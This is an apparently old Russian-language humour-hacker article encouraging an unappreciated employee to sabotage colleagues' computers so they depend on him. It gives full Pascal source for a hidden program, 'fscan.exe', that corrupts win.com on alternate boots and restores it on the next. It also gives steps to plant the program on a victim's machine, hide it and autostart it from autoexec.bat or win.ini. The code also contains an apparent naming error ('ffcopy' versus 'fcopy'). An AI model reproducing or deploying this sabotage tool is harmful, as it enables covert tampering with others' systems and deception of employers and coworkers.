Когда начальство не ценит

Здорово. Послушай, что я
скажу. Я на этом сайте недавно и мне он
нравится всё больше и больше. Мне нравятся
хорошие статьи, а также, когда можно
высказаться, и фотки девочек. А когда всё это
собрано в одном флаконе, то мне, ленивому,
это в самый раз. В общем почитал я немного о
разных приколах, подлянках и прочем
вредительстве и понял, что, в общем то,
иногда этим стоит заниматься. Правда не
всегда есть в этом смысл, но это уже вопрос
второстепенный. Ты же не думаешь о пользе
занятия, когда, например, пьёшь пиво или
играешь в кваку до отупения или занимаешься
любовью с женщиной (чё-то я отвлёкся). Короче,
если ты делаешь что-то в кайф, то наверняка в
этом есть смысл, я так думаю. Многие приколы
и подлянки  известны уже давно, просто о
них забыли, а, как говорится, всё новое - это
хорошо забытое старое (вроде в рифму сказал).
И решил я тоже не ударить, так сказать, лицом 
в грязь и поделиться своим небольшим
прикольчиком. Если, ты не хочешь слушать мою
историю,  можешь следующий абзац
пропустить и перейти  сразу к телу, в
смысле к делу программы, т. е. к коду
программы и тебе сразу станет всё ясно.

КАК Я ДОДУМАЛСЯ ДО ЭТОГО

Как-то не так уж и давно (примерно
в 95-м году) мне один товарищ дал почитать
рассказик "Наш Bofth". Может ты читал его
и вспомнишь? В нём описываются будни
бывалого программера и к тому же
супервизора. Действие рассказа происходит
в доисторические времена, когда инета ещё и
не было вовсе. Рассказ мне очень понравился
и я долго смеялся. В этом рассказе "Bofth"
старался делать так, чтобы на работе
чувствовали его значимость. Сидя за своим
рабочим местом я впоследствии думал, что
хоть пока меня начальство и ценит, но
парочку заначек в виде небольших подлянок
не помешало бы иметь и, в случае невнимания
со стороны последнего, сделать так, чтобы
меня ценили. У меня есть несколько
заготовок на этот счёт  и думаю, что они
будут интересны как любителям западла так и
бедным, никем не замечаемым, операторам или
начинающим программерам. Если ты Кул-Хакер
или программер, то, думаю, согласишься со
мной, когда я скажу, что ты это давно знаешь,
но в свете новых технологий, забыл. Что
нужно сделать, чтобы тебя ценили? Ничего
особенного, кроме как что-то поломать, а
потом лучше всех и быстрее всех это сделать
- думаю это ты и без меня знаешь. А если это
будет случаться с какой-то периодичностью,
например перед выдачей зарплаты, то твоим
подлянкам цены не будет и все тебя будут
любить и лелеять. А честных и добрых
программеров почему-то всегда считают
тупыми и дармоедами (это я опять отвлёкся).
Короче смысл такой, что делай только так,
как это выгодно тебе и все тебя будут
уважать, а женщины отдаваться (шутка). Если
ты прочитал всё вышеизложенное, то, самое
время обсудить, как это можно реализовать.
Рассмотрим несколько вариантов.

1. У тебя, конечно, как и у
всех бывалых, или не очень, хакеров имеется
пара вирусов, способных нанести
разрушительные бедствия твоим жертвам. Но
сможешь ли ты потом быстро всё починить? А
если работа за компутерами на предприятии
централизована и осуществляется на каких-то
специальных АРМ-ах ? Сможешь ли ты потом
быстро восстановить данные? Если да, то это
смогут и другие, не менее крутые
программеры, которых щас хоть пруд пруди.
Этот вариант не подходит, т.к. только ты
должен уметь быстро всё налаживать.

2.Можно что-то отключить
во внутренностях компутера, например, шлейф
от дисковода или питание перекрыть, но
опять-таки придётся ковырять железо. Что
если позовут не тебя, а кого-то другого, а уж
он то сразу разберётся что к чему, так как
сегодня ковырять железо может и ребёнок.
Это не для нас.

3.Ты можешь удалить какой-нить
главный файл, а потом после надрывных
звонков на твой телефон соблаговолить
поднять трубку и, после жалобных уговоров
ничего не подозревающих пользователей,
пойти и незаметно переписать. Опять не то, т.к.
резервные копии могут быть не только у тебя.
Ты же не будешь систематически залазить в
комп своей жертвы и что-то там делать - о
тебе могут плохо подумать. Но тут ты
вспоминаешь, что умеешь, помимо всего
прочего, ещё и программировать, и тебя
именно из-за этого пока держат на работе. И
тут напрашивается четвёртый вариант.

4.Что если написать
программку, которая коверкает какой-нить
важный файл, а затем сама же его и
восстанавливает? Если заложить в неё ещё и
такие параметры, как периодичность работы,
то это будет как раз то, что нужно. Критики
скажут, что мол можно и по локалке зайти на
любой ПК и сделать всё, что можно. Если ты
это можешь сделать, то ты, наверное, и есть
супервизор и для тебя эта подлянка
бессмысленна. Но даже, если ты не супервизор
и можешь лазить по чужим компутерам, то
значит за этим кто-то сильно бдит. Если нет,
то я пас. В общем, останавливаемся на
четвёртом пункте и переходим к следующему
абзацу.

ПРОГРАММА ИЗНУТРИ

Я взялся подпортить файл
win.com, находящийся на всех компутерах у нас
на работе. Я думаю, что он есть везде, где
стоят компутеры. После небольших изменений
в программке, можно легко и быстро поломать/восстановить
любой файл, который ты пожелаешь. Раз я
порчу главный файл форточек, то значит
программку пишу не под эти самые форточки. Я
решил писать на Паскале - этот язык вполне
отвечает моим требованиям, да и, в случае
чего, можно будет легко его использовать в
Delphi (если захочется чего-нить современного).
Программа должна действовать быстро и
реагировать на какое-нить глобальное
событие. У меня этим событием является
загрузка компутера. Я думаю, что это не тот
случай, когда надо вешать программу
резидентно в памяти, поэтому достаточно
будет одного её запуска, после включения
компутера. Но если у тебя особенно злобные
мысли, то можешь вызов этого файла
поместить в раздел Windows файла win.ini. Я решил
сделать так, чтобы винды по нечётной
попытке загрузить компутер ломались, а по
чётной восстанавливались. Особо дотошные
могут изменить программку таким образом,
чтобы компутеры ломались допустим  20-го
числа каждого месяца, а потом, после их
умелых действий вдруг начинали работать.
Что касается этих предложений, то здесь, как
говорится, конь не валялся. Теперь решим,
каким образом мы будем портить винды? Я
предлагаю самый что ни на есть простой:
дописывать пробел в начало файла win.com.
Согласись - это не я придумал. Это очень
старый и простой прикол, зато после него при
запуске форточек на экран вылазит всякая
абракадабра - на юзеров это действует
убийственно и они начинают думать, что
виноваты в этом сами (ну самобичевание для
них будет весьма полезно). Особо дотошные
могут вообще зашифровать файл win.com - надо
только добавить в программку пару строк и
всё. Но не будем забывать, что потом надо это
всё и расшифровывать, т.е. программа может
вызвать некоторую задержку при загрузке, а
это нежелательно, да и не нужно. Итак,
алгоритм прост: при нечётном запуске ставим
пробел в win.com, а при чётном убираем его
оттуда. Чётность запуска ("0" или
"1") будем хранить в своём же "экзешном"
файле, только в конце. Если ты хочешь
поизвращаться, то можешь придумать что-нить
своё, но, как мне кажется, предлагаемый мною
вариант тоже не худший. Ниже представлен
текст этой программы:

uses dos;
{Описываем все глобалы....}
   var
      p:pathstr;
      direct:dirstr;
      name:namestr;
      ex:extstr;
      ff1,ff2,f1,f2:file;
      s:string;
      nr:integer;
      buf:array[1..7000] of char;  {желательно
размер буфера взять побольше...}

procedure fcopy(var f1,f2:file);
   begin
      repeat
         blockread(f1,buf,sizeof(buf),nr);
         blockwrite(f2,buf,nr);
      until nr=0;
   end;
   begin
      nr:=1;
      assign(ff2,fexpand('fscan.~x~')); {промежуточный
файл, который потом удалим...}
      rewrite(ff2,1);
      assign(ff1,fexpand('fscan.exe'));
      reset(ff1,1);
      ffcopy(ff1,ff2);                 
{копируем наш "экзешник" в
промежуточный файл...}
{и обрабатываем этот файл на  предмет
определения чётности запуска, с
последующим изменением
чётности...}
      seek(ff1,filepos(ff1)-1);
      blockread(ff1,buf,sizeof(buf),nr);
      s:=buf[1];
      if buf[1]='0' then s:='1' else s:='0';
      buf[1]:=s[1];
      blockwrite(ff2,buf,1);
      close(ff1); close(ff2);
      reset(ff2,1); rewrite(ff1,1);
      fcopy(ff2,ff1);  close(ff1); close(ff2);
      erase(ff2);  {не забываем
удалить промежуточный файл...}
      {Ищем файл win.com в разных
каталогах ...}
      p:=fsearch('win.com',getenv('path'));
      if p='' then
        p:=fsearch('win.com','c:\;c:\windows;c:\win95;c:\win98');
      if p<>'' then
      begin
         fsplit(p,direct,name,ex);
         assign(f1,direct+'win.com');
         reset(f1,1);
         assign(f2,direct+'win.co~');
         rewrite(f2,1);
         {а дальше
классика ...}
         buf[1]:=' ';
         if s='1' then
            blockwrite(f2,buf,1)
         else
            seek(f1,1);
         fcopy(f1,f2);
         close(f1);
         close(f2);
         reset(f2,1);
         rewrite(f1,1);
         fcopy(f2,f1);
         close(f1);
         close(f2);
         {и заметаем следы.}
         erase(f2);
         {ВСЁ !!!}
      end;
   end.

Процедуры копирования
одного файла в другой лучше было бы сделать
на ассемблере, но я давно им не пользовался
и мне ломы вспоминать. После ввода текста
программы её нужно откомпилировать на диск.
Затем зайди в экзешник и добавь в конец
файла "0". Перепиши программку на комп
жертвы. На всякий случай присвой файлу
атрибут скрытый. Заметь, я назвал программу
"fscan.exe", если ты хочешь дать ей другое
имя, то укажи его также в тексте кода. Затем
пропиши вызов этой программки в autoexec.bat (или
в win.ini). Кстати, если пропишешь вызов в win.ini,
то тебе придётся запустить программу
вручную для восстановления форточек. Если
всё сделал правильно, то теперь можешь
спать спокойно: программа будет верно тебе
служить, нанося вред твоим жертвам.

ЭПИЛОГ

Эта статья является, так
сказать, первым моим блином, поэтому я не
обижусь на критику и даже буду за неё
благодарен. Свой отзыв можешь писать на e-mail.